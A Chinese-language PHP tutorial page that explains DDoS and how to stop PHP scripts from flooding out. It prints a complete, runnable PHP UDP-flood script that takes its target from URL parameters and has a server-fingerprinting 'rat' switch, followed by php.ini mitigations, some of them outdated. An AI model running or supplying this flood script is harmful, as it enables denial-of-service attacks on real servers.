首先了解ddos:分散式阻斷服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/伺服器技術,將多個電腦聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而倍增拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程式安裝在一個電腦上,在一個設定的時間主控程式將與大量代理程式通訊,代理程式已經被安裝在網路上的許多計算機上。代理程式收到指令時就發動攻擊。利用客戶/伺服器技術,主控程式能在幾秒鐘內啟動數百次代理程式的運作。
從一個比方來深入理解什麼是DDOS。
一群霸凌者試圖讓對面那家有著競爭關係的商店無法正常營業,他們會採取什麼手段呢? (只為舉例,切勿模仿)惡霸們扮作普通客戶一直擁擠在對手的商鋪,賴著不走,真正的購物者卻無法進入;或者總是和營業員有一搭沒一搭的東扯西扯,讓工作人員不能正常服務客戶;也可以為商舖的經營者提供虛假信息,商舖的上上下下忙成一團之後卻發現都是一場空,最終跑了真正的大客戶,損失慘重。此外惡霸們完成這些壞事有時憑單幹難以完成,需要叫很多人一起。嗯,網路安全領域中DoS和DDoS攻擊就遵循著這些想法。
這篇文章主要介紹了php的ddos攻擊解決方法,實例分析了ddos攻擊程序的原理與針對性的解決方法,是非常實用的技巧,需要的朋友可以參考下
先看原始碼,程式碼如下:
<?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
關鍵程式碼在於如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
方法很簡單,向目標主機發送UDP套件,在加上定義無限死循環,就會形成較大的壓力.
這個壓力是對於執行這個腳本的伺服器來說的,因為它首先對自身的網寬、CPU等資源造成大量佔用,如果想用這個腳本對目標站點形成壓力,需要在多個伺服器上執行該腳本,DDOS嘛,既然是用fsockopen請求外部,那就不讓他請求.
php .ini裡設定,程式碼如下:
allow_url_fopen = Off
如果這樣他還是能發包,程式碼如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重啟APACHE、IIS、NGINX ,這樣就可以防止PHP DDOS發包了.
另外有網友說,讓腳本不允許設置為不超時很簡單:
1. 把set_time_limit函數禁用
2. 啟用PHP的安全模式(safe_mode=on).
停用socket函數可以把socket模組直接全部停用也可以停用fsockopen函數,建議,由於socket常用於發送郵件找回密碼,因此建議開啟直接開啟安全模式,但是這樣的話,腳本每30秒超時一次,估計沒有哪個“黑客”寂寞到每30秒去點一下開始DDOS.
以上是php針對ddos攻擊的解決方法的詳細內容。更多資訊請關注PHP中文網其他相關文章!